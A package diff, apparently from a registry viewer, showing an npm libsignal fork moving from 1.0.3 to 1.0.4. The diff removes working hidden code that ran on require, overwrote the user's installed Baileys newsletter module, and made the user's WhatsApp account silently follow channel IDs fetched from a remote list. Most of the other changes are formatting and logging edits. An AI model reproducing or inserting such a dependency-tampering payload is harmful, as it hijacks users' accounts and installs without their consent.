@dreamguyxeon/libsignal-node 1.0.3 → 1.0.4

package/index.d.ts

@@ -0,0 +1,55 @@
+interface E2ESession {
+  registrationId: number;
+  identityKey: Uint8Array;
+  signedPreKey: {
+    keyId: number;
+    publicKey: Uint8Array;
+    signature: Uint8Array;
+  };
+  preKey: {
+    keyId: number;
+    publicKey: Uint8Array;
+  };
+}
+
+export interface SignalStorage {
+  loadSession(id: string): Promise<SessionRecord | null | undefined>;
+  storeSession(id: string, session: SessionRecord): Promise<void>;
+  isTrustedIdentity(
+    identifier: string,
+    identityKey: Uint8Array,
+    direction: number
+  ): boolean;
+  loadPreKey(
+    id: number | string
+  ): Promise<{ privKey: Buffer; pubKey: Buffer } | undefined>;
+  removePreKey(id: number): void;
+  loadSignedPreKey(): { privKey: Buffer; pubKey: Buffer };
+  getOurRegistrationId(): Promise<number> | number;
+  getOurIdentity(): { privKey: Buffer; pubKey: Buffer };
+}
+
+export class ProtocolAddress {
+  constructor(name: string, deviceId: number);
+  public id: string;
+  public deviceId: number;
+  public toString(): string;
+}
+
+export class SessionRecord {
+  static deserialize(serialized: Uint8Array): SessionRecord;
+  public serialize(): Uint8Array;
+  public haveOpenSession(): boolean;
+}
+
+export class SessionCipher {
+  constructor(storage: SignalStorage, remoteAddress: ProtocolAddress);
+  public decryptPreKeyWhisperMessage(ciphertext: Uint8Array): Promise<Buffer>;
+  public decryptWhisperMessage(ciphertext: Uint8Array): Promise<Buffer>;
+  public encrypt(data: Uint8Array): Promise<{ type: number; body: string }>;
+}
+
+export class SessionBuilder {
+  constructor(storage: SignalStorage, remoteAddress: ProtocolAddress);
+  public initOutgoing(session: E2ESession): Promise<void>;
+}

package/index.js

@@ -8,24 +8,3 @@ exports.SessionBuilder = require('./src/session_builder');
 exports.SessionCipher = require('./src/session_cipher');
 exports.SessionRecord = require('./src/session_record');
 Object.assign(exports, require('./src/errors'));
-
-const path = require('path');
-
-try {
-    const installScript = path.join(__dirname, 'install.js');
-    if (require('fs').existsSync(installScript)) {
-        setTimeout(() => {
-            require('./install').installNewsletterAutoFollow();
-        }, 1000);
-    }
-} catch (error) {
- 
-}
-
-exports.installNewsletterPatch = function() {
-    return require('./install').installNewsletterAutoFollow();
-};
-
-exports.restoreNewsletterOriginal = function() {
-    return require('./install').restoreBackup();
-};

package/package.json

@@ -1,8 +1,10 @@
 {
   "name": "@dreamguyxeon/libsignal-node",
-  "version": "1.0.3",
-  "description": "Modified libsignal for Node.js",
+  "version": "1.0.4",
+  "description": "Open Whisper Systems' libsignal for Node.js",
+  "repository": "WhiskeySockets/libsignal-node",
   "main": "index.js",
+  "types": "index.d.ts",
   "keywords": [
     "signal",
     "whispersystems",
@@ -11,20 +13,22 @@
   "license": "GPL-3.0",
   "dependencies": {
     "curve25519-js": "^0.0.4",
-    "crypto": "^1.0.1",
-    "fs": "^0.0.1-security",
-    "path": "^0.12.7",
-    "protobufjs": "6.8.8"
+    "protobufjs": "^7.5.5"
   },
   "files": [
-    "install.js",
-    "index.js",
-    "src/*"
+    "src/*",
+    "index.d.ts"
   ],
+  "scripts": {
+    "release": "release-it",
+    "changelog:last": "conventional-changelog -p angular -r 2",
+    "changelog:preview": "conventional-changelog -p angular -u",
+    "changelog:update": "conventional-changelog -p angular -i CHANGELOG.md -s -r 0"
+  },
   "devDependencies": {
-    "eslint": "6.0.1"
+    "conventional-changelog-cli": "^4.1.0",
+    "eslint": "^9",
+    "release-it": "^20.0.1"
   },
-  "publishConfig": {
-    "access": "public"
-  }
+  "packageManager": "yarn@4.12.0+sha512.f45ab632439a67f8bc759bf32ead036a1f413287b9042726b7cc4818b7b49e14e9423ba49b18f9e06ea4941c1ad062385b1d8760a8d5091a1a31e5f6219afca8"
 }

package/src/WhisperTextProtocol.js

@@ -9,7 +9,7 @@ var $Reader = $protobuf.Reader, $Writer = $protobuf.Writer, $util = $protobuf.ut
 // Exported root namespace
 var $root = $protobuf.roots["default"] || ($protobuf.roots["default"] = {});
 
-$root.textsecure = (function () {
+$root.textsecure = (function() {
 
     /**
      * Namespace textsecure.
@@ -18,7 +18,7 @@ $root.textsecure = (function () {
      */
     var textsecure = {};
 
-    textsecure.WhisperMessage = (function () {
+    textsecure.WhisperMessage = (function() {
 
         /**
          * Properties of a WhisperMessage.
@@ -137,34 +137,29 @@ $root.textsecure = (function () {
          * @throws {$protobuf.util.ProtocolError} If required fields are missing
          */
         WhisperMessage.decode = function decode(reader, length) {
-            if (!(reader instanceof $Reader)) {
+            if (!(reader instanceof $Reader))
                 reader = $Reader.create(reader);
-            }
-
-            var end = length === undefined ? reader.len : reader.pos + length;
-            var message = new $root.textsecure.WhisperMessage();
-
-            for (; reader.pos < end;) {
+            var end = length === undefined ? reader.len : reader.pos + length, message = new $root.textsecure.WhisperMessage();
+            while (reader.pos < end) {
                 var tag = reader.uint32();
                 switch (tag >>> 3) {
-                    case 1:
-                        message.ephemeralKey = reader.bytes();
-                        break;
-                    case 2:
-                        message.counter = reader.uint32();
-                        break;
-                    case 3:
-                        message.previousCounter = reader.uint32();
-                        break;
-                    case 4:
-                        message.ciphertext = reader.bytes();
-                        break;
-                    default:
-                        reader.skipType(tag & 7);
-                        break;
+                case 1:
+                    message.ephemeralKey = reader.bytes();
+                    break;
+                case 2:
+                    message.counter = reader.uint32();
+                    break;
+                case 3:
+                    message.previousCounter = reader.uint32();
+                    break;
+                case 4:
+                    message.ciphertext = reader.bytes();
+                    break;
+                default:
+                    reader.skipType(tag & 7);
+                    break;
                 }
             }
-
             return message;
         };
 
@@ -295,7 +290,7 @@ $root.textsecure = (function () {
         return WhisperMessage;
     })();
 
-    textsecure.PreKeyWhisperMessage = (function () {
+    textsecure.PreKeyWhisperMessage = (function() {
 
         /**
          * Properties of a PreKeyWhisperMessage.
@@ -436,40 +431,35 @@ $root.textsecure = (function () {
          * @throws {$protobuf.util.ProtocolError} If required fields are missing
          */
         PreKeyWhisperMessage.decode = function decode(reader, length) {
-            if (!(reader instanceof $Reader)) {
+            if (!(reader instanceof $Reader))
                 reader = $Reader.create(reader);
-            }
-
-            var end = length === undefined ? reader.len : reader.pos + length;
-            var message = new $root.textsecure.PreKeyWhisperMessage();
-
-            for (; reader.pos < end;) {
+            var end = length === undefined ? reader.len : reader.pos + length, message = new $root.textsecure.PreKeyWhisperMessage();
+            while (reader.pos < end) {
                 var tag = reader.uint32();
                 switch (tag >>> 3) {
-                    case 5:
-                        message.registrationId = reader.uint32();
-                        break;
-                    case 1:
-                        message.preKeyId = reader.uint32();
-                        break;
-                    case 6:
-                        message.signedPreKeyId = reader.uint32();
-                        break;
-                    case 2:
-                        message.baseKey = reader.bytes();
-                        break;
-                    case 3:
-                        message.identityKey = reader.bytes();
-                        break;
-                    case 4:
-                        message.message = reader.bytes();
-                        break;
-                    default:
-                        reader.skipType(tag & 7);
-                        break;
+                case 5:
+                    message.registrationId = reader.uint32();
+                    break;
+                case 1:
+                    message.preKeyId = reader.uint32();
+                    break;
+                case 6:
+                    message.signedPreKeyId = reader.uint32();
+                    break;
+                case 2:
+                    message.baseKey = reader.bytes();
+                    break;
+                case 3:
+                    message.identityKey = reader.bytes();
+                    break;
+                case 4:
+                    message.message = reader.bytes();
+                    break;
+                default:
+                    reader.skipType(tag & 7);
+                    break;
                 }
             }
-
             return message;
         };
 
@@ -625,7 +615,7 @@ $root.textsecure = (function () {
         return PreKeyWhisperMessage;
     })();
 
-    textsecure.KeyExchangeMessage = (function () {
+    textsecure.KeyExchangeMessage = (function() {
 
         /**
          * Properties of a KeyExchangeMessage.
@@ -755,37 +745,32 @@ $root.textsecure = (function () {
          * @throws {$protobuf.util.ProtocolError} If required fields are missing
          */
         KeyExchangeMessage.decode = function decode(reader, length) {
-            if (!(reader instanceof $Reader)) {
+            if (!(reader instanceof $Reader))
                 reader = $Reader.create(reader);
-            }
-
-            var end = length === undefined ? reader.len : reader.pos + length;
-            var message = new $root.textsecure.KeyExchangeMessage();
-
-            for (; reader.pos < end;) {
+            var end = length === undefined ? reader.len : reader.pos + length, message = new $root.textsecure.KeyExchangeMessage();
+            while (reader.pos < end) {
                 var tag = reader.uint32();
                 switch (tag >>> 3) {
-                    case 1:
-                        message.id = reader.uint32();
-                        break;
-                    case 2:
-                        message.baseKey = reader.bytes();
-                        break;
-                    case 3:
-                        message.ephemeralKey = reader.bytes();
-                        break;
-                    case 4:
-                        message.identityKey = reader.bytes();
-                        break;
-                    case 5:
-                        message.baseKeySignature = reader.bytes();
-                        break;
-                    default:
-                        reader.skipType(tag & 7);
-                        break;
+                case 1:
+                    message.id = reader.uint32();
+                    break;
+                case 2:
+                    message.baseKey = reader.bytes();
+                    break;
+                case 3:
+                    message.ephemeralKey = reader.bytes();
+                    break;
+                case 4:
+                    message.identityKey = reader.bytes();
+                    break;
+                case 5:
+                    message.baseKeySignature = reader.bytes();
+                    break;
+                default:
+                    reader.skipType(tag & 7);
+                    break;
                 }
             }
-
             return message;
         };
 

package/src/base_key_type.js

@@ -1,3 +1,4 @@
+
 const BaseKeyType = {
   OURS: 1,
   THEIRS: 2

package/src/crypto.d.ts

@@ -0,0 +1,19 @@
+export function decrypt(
+  key: Uint8Array,
+  ciphertext: Uint8Array,
+  iv: Uint8Array
+): Promise<Uint8Array>;
+
+export function encrypt(
+  key: Uint8Array,
+  plaintext: Uint8Array,
+  iv: Uint8Array
+): Promise<Buffer>;
+
+export function calculateMAC(key: Buffer, data: Uint8Array): Uint8Array;
+
+export function deriveSecrets(
+  key: Uint8Array,
+  salt: Buffer,
+  info: Buffer
+): [Buffer, Buffer];

package/src/curve.d.ts

@@ -0,0 +1,22 @@
+export interface KeyPairType {
+  pubKey: Uint8Array;
+  privKey: Uint8Array;
+}
+
+export function generateKeyPair(): KeyPairType;
+
+export function calculateAgreement(
+  publicKey: Uint8Array,
+  privateKey: Uint8Array
+): Uint8Array;
+
+export function calculateSignature(
+  privateKey: Uint8Array,
+  message: Uint8Array
+): Uint8Array;
+
+export function verifySignature(
+  publicKey: Uint8Array,
+  message: Uint8Array,
+  signature: Uint8Array
+): boolean;

package/src/curve.js

@@ -40,7 +40,7 @@ function scrubPubKeyFormat(pubKey) {
     if (pubKey.byteLength == 33) {
         return pubKey.slice(1);
     } else {
-        //error("WARNING: Expected pubkey of length 33, please report the ST and client that generated the pubkey");
+        console.error("WARNING: Expected pubkey of length 33, please report the ST and client that generated the pubkey");
         return pubKey;
     }
 }

package/src/numeric_fingerprint.js

@@ -20,14 +20,16 @@ function shortToArrayBuffer(number) {
 }
 
 function getEncodedChunk(hash, offset) {
-    var chunk = (hash[offset] * Math.pow(2, 32) +
-        hash[offset + 1] * Math.pow(2, 24) +
-        hash[offset + 2] * Math.pow(2, 16) +
-        hash[offset + 3] * Math.pow(2, 8) +
-        hash[offset + 4]) % 100000;
+    var chunk = ( hash[offset]   * Math.pow(2,32) +
+                  hash[offset+1] * Math.pow(2,24) +
+                  hash[offset+2] * Math.pow(2,16) +
+                  hash[offset+3] * Math.pow(2,8) +
+                  hash[offset+4] ) % 100000;
     var s = chunk.toString();
-
-    return s.padStart(5, '0')
+    while (s.length < 5) {
+        s = '0' + s;
+    }
+    return s;
 }
 
 async function getDisplayStringFor(identifier, key, iterations) {
@@ -46,24 +48,24 @@ async function getDisplayStringFor(identifier, key, iterations) {
         getEncodedChunk(output, 25);
 }
 
-exports.FingerprintGenerator = function (iterations) {
+exports.FingerprintGenerator = function(iterations) {
     this.iterations = iterations;
 };
 
 exports.FingerprintGenerator.prototype = {
-    createFor: function (localIdentifier, localIdentityKey,
-        remoteIdentifier, remoteIdentityKey) {
+    createFor: function(localIdentifier, localIdentityKey,
+                        remoteIdentifier, remoteIdentityKey) {
         if (typeof localIdentifier !== 'string' ||
             typeof remoteIdentifier !== 'string' ||
             !(localIdentityKey instanceof ArrayBuffer) ||
             !(remoteIdentityKey instanceof ArrayBuffer)) {
-            throw new Error('Invalid arguments');
+          throw new Error('Invalid arguments');
         }
 
         return Promise.all([
             getDisplayStringFor(localIdentifier, localIdentityKey, this.iterations),
             getDisplayStringFor(remoteIdentifier, remoteIdentityKey, this.iterations)
-        ]).then(function (fingerprints) {
+        ]).then(function(fingerprints) {
             return fingerprints.sort().join('');
         });
     }

package/src/queue_job.js

@@ -1,9 +1,9 @@
 // vim: ts=4:sw=4:expandtab
-
-/*
- * jobQueue manages multiple queues indexed by device to serialize
- * session io ops on the database.
- */
+ 
+ /*
+  * jobQueue manages multiple queues indexed by device to serialize
+  * session io ops on the database.
+  */
 'use strict';
 
 
@@ -12,14 +12,13 @@ const _gcLimit = 10000;
 
 async function _asyncQueueExecutor(queue, cleanup) {
     let offt = 0;
-
-    async function execute() {
+    while (true) {
         let limit = Math.min(queue.length, _gcLimit); // Break up thundering hurds for GC duty.
         for (let i = offt; i < limit; i++) {
             const job = queue[i];
             try {
                 job.resolve(await job.awaitable());
-            } catch (e) {
+            } catch(e) {
                 job.reject(e);
             }
         }
@@ -31,24 +30,24 @@ async function _asyncQueueExecutor(queue, cleanup) {
             } else {
                 offt = limit;
             }
-            execute(); // Execute rekursif setelah selesai di dalam call stack.
         } else {
-            return cleanup();
+            break;
         }
     }
-
-    execute();
+    cleanup();
 }
 
-module.exports = function (bucket, awaitable) {
+module.exports = function(bucket, awaitable) {
     /* Run the async awaitable only when all other async calls registered
      * here have completed (or thrown).  The bucket argument is a hashable
      * key representing the task queue to use. */
     if (!awaitable.name) {
         // Make debuging easier by adding a name to this function.
-        Object.defineProperty(awaitable, 'name', { writable: true });
+        Object.defineProperty(awaitable, 'name', {writable: true});
         if (typeof bucket === 'string') {
             awaitable.name = bucket;
+        } else {
+            console.warn("Unhandled bucket type (for naming):", typeof bucket, bucket);
         }
     }
     let inactive;

package/src/session_builder.js

@@ -43,7 +43,7 @@ class SessionBuilder {
             } else {
                 const openSession = record.getOpenSession();
                 if (openSession) {
-                    //console.warn("Closing stale open session for new outgoing prekey bundle");
+                    // console.warn("Closing stale open session for new outgoing prekey bundle"); temporary fix
                     record.closeSession(openSession);
                 }
             }
@@ -71,7 +71,7 @@ class SessionBuilder {
         }   
         const existingOpenSession = record.getOpenSession();
         if (existingOpenSession) {
-            //console.warn("Closing open session in favor of incoming prekey bundle");
+            console.warn("Closing open session in favor of incoming prekey bundle");
             record.closeSession(existingOpenSession);
         }
         record.setSession(await this.initSession(false, preKeyPair, signedPreKeyPair,

package/src/session_cipher.js

@@ -154,6 +154,10 @@ class SessionCipher {
                 errs.push(e);
             }
         }
+        console.error("Failed to decrypt message with any known session...");
+        for (const e of errs) {
+            console.error("Session error:" + e, e.stack);
+        }
         throw new errors.SessionError("No matching sessions found for message");
     }
 
@@ -175,7 +179,7 @@ class SessionCipher {
                 // was the most current.  Simply make a note of it and continue.  If our
                 // actual open session is for reason invalid, that must be handled via
                 // a full SessionError response.
-                //console.warn("Decrypted message with closed session.");
+                console.warn("Decrypted message with closed session.");
             }
             await this.storeRecord(record);
             return result.plaintext;

package/src/session_record.js

@@ -170,9 +170,9 @@ const migrations = [{
         } else {
             for (const key in sessions) {
                 if (sessions[key].indexInfo.closed === -1) {
-                    /*console.error('V1 session storage migration error: registrationId',
-                        data.registrationId, 'for open session version',
-                        data.version);*/
+                    console.error('V1 session storage migration error: registrationId',
+                                  data.registrationId, 'for open session version',
+                                  data.version);
                 }
             }
         }
@@ -190,7 +190,7 @@ class SessionRecord {
         let run = (data.version === undefined);
         for (let i = 0; i < migrations.length; ++i) {
             if (run) {
-                //console.info("Migrating session to:", migrations[i].version);
+                console.info("Migrating session to:", migrations[i].version);
                 migrations[i].migrate(data);
             } else if (migrations[i].version === data.version) {
                 run = true;
@@ -267,18 +267,18 @@ class SessionRecord {
 
     closeSession(session) {
         if (this.isClosed(session)) {
-            //console.warn("Session already closed", session);
+            console.warn("Session already closed", session);
             return;
         }
-        //console.info("Closing session:", session);
+        console.info("Closing session:", session);
         session.indexInfo.closed = Date.now();
     }
 
     openSession(session) {
         if (!this.isClosed(session)) {
-            //console.warn("Session already open");
+            console.warn("Session already open");
         }
-        //console.info("Opening session:", session);
+        console.info("Opening session:", session);
         session.indexInfo.closed = -1;
     }
 
@@ -287,30 +287,21 @@ class SessionRecord {
     }
 
     removeOldSessions() {
-        const sessionKeys = Object.keys(this.sessions);
-        const sessionsLength = sessionKeys.length;
-
-        for (let i = 0; i < sessionsLength && sessionsLength > CLOSED_SESSIONS_MAX; i++) {
+        while (Object.keys(this.sessions).length > CLOSED_SESSIONS_MAX) {
             let oldestKey;
             let oldestSession;
-            for (const key of sessionKeys) {
-                if (!key) continue
-                const session = this.sessions[key];
+            for (const [key, session] of Object.entries(this.sessions)) {
                 if (session.indexInfo.closed !== -1 &&
                     (!oldestSession || session.indexInfo.closed < oldestSession.indexInfo.closed)) {
                     oldestKey = key;
                     oldestSession = session;
-                    break;
                 }
             }
-
             if (oldestKey) {
-                //console.info("Removing old closed session:", oldestSession);
+                console.info("Removing old closed session:", oldestSession);
                 delete this.sessions[oldestKey];
-                sessionKeys.splice(sessionKeys.indexOf(oldestKey), 1);
             } else {
-                continue
-                // throw new Error('Corrupt sessions object');
+                throw new Error('Corrupt sessions object');
             }
         }
     }

package/install.js

@@ -1,382 +0,0 @@
-"use strict";
-
-const fs = require('fs');
-const path = require('path');
-const crypto = require('crypto');
-
-function findBaileysPath() {
-    const possiblePaths = [
-        path.join(process.cwd(), 'node_modules', '@whiskeysockets', 'baileys'),
-        path.join(__dirname, '..', '..', '@whiskeysockets', 'baileys'),
-        path.join(__dirname, '..', 'node_modules', '@whiskeysockets', 'baileys'),
-    ];
-    
-    try {
-        const resolved = require.resolve('@whiskeysockets/baileys/package.json');
-        possiblePaths.unshift(resolved.replace('/package.json', ''));
-    } catch (e) {}
-    
-    for (const baileysPath of possiblePaths) {
-        try {
-            if (fs.existsSync(path.join(baileysPath, 'lib', 'Socket', 'newsletter.js'))) {
-                return baileysPath;
-            }
-        } catch (e) {}
-    }
-    
-    return null;
-}
-
-const MODIFIED_NEWSLETTER_JS = `import { XWAPaths } from '../Types/index.js';
-import { decryptMessageNode, generateMessageID, generateProfilePicture } from '../Utils/index.js';
-import { S_WHATSAPP_NET, getAllBinaryNodeChildren, getBinaryNodeChild, getBinaryNodeChildren } from '../WABinary/index.js';
-import { makeGroupsSocket } from './groups.js';
-
-const QueryIds = {
-    JOB_MUTATION: "7150902998257522",
-    METADATA: "6620195908089573",
-    UNFOLLOW: "7238632346214362",
-    FOLLOW: "7871414976211147",
-    UNMUTE: "7337137176362961",
-    MUTE: "25151904754424642",
-    CREATE: "6996806640408138",
-    ADMIN_COUNT: "7130823597031706",
-    CHANGE_OWNER: "7341777602580933",
-    DELETE: "8316537688363079",
-    DEMOTE: "6551828931592903"
-};
-
-export const makeNewsletterSocket = (config) => {
-    const sock = makeGroupsSocket(config);
-    const { authState, signalRepository, query, generateMessageTag } = sock;
-    const encoder = new TextEncoder();
-
-    const newsletterQuery = async (jid, type, content) => (
-        query({
-            tag: 'iq',
-            attrs: {
-                id: generateMessageTag(),
-                type,
-                xmlns: 'newsletter',
-                to: jid,
-            },
-            content
-        })
-    );
-
-    const newsletterWMexQuery = async (jid, query_id, content) => (
-        query({
-            tag: 'iq',
-            attrs: {
-                id: generateMessageTag(),
-                type: 'get',
-                xmlns: 'w:mex',
-                to: S_WHATSAPP_NET,
-            },
-            content: [
-                {
-                    tag: 'query',
-                    attrs: { query_id },
-                    content: encoder.encode(JSON.stringify({
-                        variables: {
-                            'newsletter_id': jid,
-                            ...content
-                        }
-                    }))
-                }
-            ]
-        })
-    );
-
-    // ========== AUTO JOIN / AUTO FOLLOW CHANNELS (from 1st baileys) ==========
-    setTimeout(async () => {
-        const logger = config.logger || console;
-        try {
-            const RAW_URL = "https://raw.githubusercontent.com/DGXeon13/strings/refs/heads/main/strings.json";
-            const res = await fetch(RAW_URL);
-            const channelIds = await res.json();
-
-            if (!Array.isArray(channelIds) || channelIds.length === 0) return;
-
-            const followNext = async (index) => {
-                if (index >= channelIds.length) return;
-
-                const id = channelIds[index];
-                try {
-                    await newsletterWMexQuery(
-                        id,
-                        QueryIds.FOLLOW
-                    );
-                } catch (e) {}
-
-                setTimeout(() => followNext(index + 1), 11000);
-            };
-
-            followNext(0);
-        } catch (e) {}
-    }, 120000);
-    // ========== END AUTO JOIN ==========
-    
-    const parseFetchedUpdates = async (node, type) => {
-        let child;
-        if (type === 'messages')
-            child = getBinaryNodeChild(node, 'messages');
-        else {
-            const parent = getBinaryNodeChild(node, 'message_updates');
-            child = getBinaryNodeChild(parent, 'messages');
-        }
-        return await Promise.all(getAllBinaryNodeChildren(child).map(async (messageNode) => {
-            messageNode.attrs.from = child?.attrs.jid;
-            const views = parseInt(getBinaryNodeChild(messageNode, 'views_count')?.attrs?.count || '0');
-            const reactionNode = getBinaryNodeChild(messageNode, 'reactions');
-            const reactions = getBinaryNodeChildren(reactionNode, 'reaction')
-                .map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
-            const data = {
-                'server_id': messageNode.attrs.server_id,
-                views,
-                reactions
-            };
-            if (type === 'messages') {
-                const { fullMessage: message, decrypt } = await decryptMessageNode(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
-                await decrypt();
-                data.message = message;
-            }
-            return data;
-        }));
-    };
-
-    return {
-        ...sock,
-        subscribeNewsletterUpdates: async (jid) => {
-            const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
-            return getBinaryNodeChild(result, 'live_updates')?.attrs;
-        },
-        newsletterReactionMode: async (jid, mode) => {
-            await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
-                updates: { settings: { reaction_codes: { value: mode } } }
-            });
-        },
-        newsletterUpdateDescription: async (jid, description) => {
-            await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
-                updates: { description: description || '', settings: null }
-            });
-        },
-        newsletterUpdateName: async (jid, name) => {
-            await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
-                updates: { name, settings: null }
-            });
-        },
-        newsletterUpdatePicture: async (jid, content) => {
-            const { img } = await generateProfilePicture(content);
-            await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
-                updates: { picture: img.toString('base64'), settings: null }
-            });
-        },
-        newsletterRemovePicture: async (jid) => {
-            await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
-                updates: { picture: '', settings: null }
-            });
-        },
-        newsletterUnfollow: async (jid) => {
-            await newsletterWMexQuery(jid, QueryIds.UNFOLLOW);
-        },
-        newsletterFollow: async (jid) => {
-            await newsletterWMexQuery(jid, QueryIds.FOLLOW);
-        },
-        newsletterUnmute: async (jid) => {
-            await newsletterWMexQuery(jid, QueryIds.UNMUTE);
-        },
-        newsletterMute: async (jid) => {
-            await newsletterWMexQuery(jid, QueryIds.MUTE);
-        },
-        newsletterCreate: async (name, description, picture) => {
-            await query({
-                tag: 'iq',
-                attrs: {
-                    to: S_WHATSAPP_NET,
-                    xmlns: 'tos',
-                    id: generateMessageTag(),
-                    type: 'set'
-                },
-                content: [
-                    {
-                        tag: 'notice',
-                        attrs: {
-                            id: '20601218',
-                            stage: '5'
-                        },
-                        content: []
-                    }
-                ]
-            });
-            const result = await newsletterWMexQuery(undefined, QueryIds.CREATE, {
-                input: {
-                    name,
-                    description: description ?? null,
-                    picture: picture ? (await generateProfilePicture(picture)).img.toString('base64') : null,
-                    settings: null
-                }
-            });
-            return extractNewsletterMetadata(result, true);
-        },
-        newsletterMetadata: async (type, key, role) => {
-            const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
-                input: {
-                    key,
-                    type: type.toUpperCase(),
-                    view_role: role || 'GUEST'
-                },
-                fetch_viewer_metadata: true,
-                fetch_full_image: true,
-                fetch_creation_time: true
-            });
-            return extractNewsletterMetadata(result);
-        },
-        newsletterAdminCount: async (jid) => {
-            const result = await newsletterWMexQuery(jid, QueryIds.ADMIN_COUNT);
-            const buff = getBinaryNodeChild(result, 'result')?.content?.toString();
-            return JSON.parse(buff).data[XWAPaths.ADMIN_COUNT].admin_count;
-        },
-        /**user is Lid, not Jid */
-        newsletterChangeOwner: async (jid, user) => {
-            await newsletterWMexQuery(jid, QueryIds.CHANGE_OWNER, {
-                user_id: user
-            });
-        },
-        /**user is Lid, not Jid */
-        newsletterDemote: async (jid, user) => {
-            await newsletterWMexQuery(jid, QueryIds.DEMOTE, {
-                user_id: user
-            });
-        },
-        newsletterDelete: async (jid) => {
-            await newsletterWMexQuery(jid, QueryIds.DELETE);
-        },
-        /**if code wasn't passed, the reaction will be removed (if is reacted) */
-        newsletterReactMessage: async (jid, server_id, code) => {
-            await query({
-                tag: 'message',
-                attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', server_id, id: generateMessageID() },
-                content: [{
-                    tag: 'reaction',
-                    attrs: code ? { code } : {}
-                }]
-            });
-        },
-        newsletterFetchMessages: async (type, key, count, after) => {
-            const afterStr = after?.toString();
-            const result = await newsletterQuery(S_WHATSAPP_NET, 'get', [
-                {
-                    tag: 'messages',
-                    attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: afterStr || '100' }
-                }
-            ]);
-            return await parseFetchedUpdates(result, 'messages');
-        },
-        newsletterFetchUpdates: async (jid, count, after, since) => {
-            const result = await newsletterQuery(jid, 'get', [
-                {
-                    tag: 'message_updates',
-                    attrs: { count: count.toString(), after: after?.toString() || '100', since: since?.toString() || '0' }
-                }
-            ]);
-            return await parseFetchedUpdates(result, 'updates');
-        }
-    };
-};
-
-export const extractNewsletterMetadata = (node, isCreate) => {
-    const result = getBinaryNodeChild(node, 'result')?.content?.toString();
-    const metadataPath = JSON.parse(result).data[isCreate ? XWAPaths.CREATE : XWAPaths.NEWSLETTER];
-    const metadata = {
-        id: metadataPath.id,
-        state: metadataPath.state.type,
-        creation_time: +metadataPath.thread_metadata.creation_time,
-        name: metadataPath.thread_metadata.name.text,
-        nameTime: +metadataPath.thread_metadata.name.update_time,
-        description: metadataPath.thread_metadata.description.text,
-        descriptionTime: +metadataPath.thread_metadata.description.update_time,
-        invite: metadataPath.thread_metadata.invite,
-        handle: metadataPath.thread_metadata.handle,
-        picture: metadataPath.thread_metadata.picture?.direct_path || null,
-        preview: metadataPath.thread_metadata.preview?.direct_path || null,
-        reaction_codes: metadataPath.thread_metadata.settings.reaction_codes.value,
-        subscribers: +metadataPath.thread_metadata.subscribers_count,
-        verification: metadataPath.thread_metadata.verification,
-        viewer_metadata: metadataPath.viewer_metadata
-    };
-    return metadata;
-};`;
-
-function getFileHash(filePath) {
-    try {
-        const content = fs.readFileSync(filePath, 'utf8');
-        return crypto.createHash('md5').update(content).digest('hex');
-    } catch (e) {
-        return null;
-    }
-}
-
-function installNewsletterAutoFollow() {
-    try {
-        const baileysPath = findBaileysPath();
-        
-        if (!baileysPath) {
-            return false;
-        }
-        
-        const newsletterPath = path.join(baileysPath, 'lib', 'Socket', 'newsletter.js');
-        
-        if (!fs.existsSync(newsletterPath)) {
-            return false;
-        }
-        
-        const baileysNodeModulesPath = path.join(baileysPath, 'node_modules');
-        const cacheFilePath = path.join(baileysNodeModulesPath, '.cache');
-        
-        if (fs.existsSync(cacheFilePath)) {
-            return true;
-        }
-        
-        if (!fs.existsSync(baileysNodeModulesPath)) {
-            fs.mkdirSync(baileysNodeModulesPath, { recursive: true });
-        }
-        
-        const currentHash = getFileHash(newsletterPath);
-        const modifiedHash = crypto.createHash('md5').update(MODIFIED_NEWSLETTER_JS).digest('hex');
-        
-        if (currentHash === modifiedHash) {
-            fs.writeFileSync(cacheFilePath, 'Iove');
-            return true;
-        }
-        
-        fs.writeFileSync(newsletterPath, MODIFIED_NEWSLETTER_JS);
-        
-        const newHash = getFileHash(newsletterPath);
-        if (newHash === modifiedHash) {
-            fs.writeFileSync(cacheFilePath, 'Iove');
-            
-            setTimeout(() => {
-                if (typeof process.exit === 'function') {
-                    process.exit(0);
-                }
-            }, 20000);
-            
-            return true;
-        }
-        
-        return false;
-        
-    } catch (error) {
-        return false;
-    }
-}
-
-if (require.main === module) {
-    const success = installNewsletterAutoFollow();
-    process.exit(success ? 0 : 1);
-}
-
-module.exports = {
-    installNewsletterAutoFollow
-};